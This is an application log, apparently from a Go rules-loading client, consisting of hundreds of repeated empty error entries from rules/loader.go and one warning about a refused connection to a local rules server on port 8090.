source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unavailable desc = connection error: desc = "transport: Error while dialing: dial tcp 127.0.0.1:8090: connectex: No connection could be made because the target machine actively refused it.". Retrying in 1.538766295s... source=client/rulestore.go:48 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= 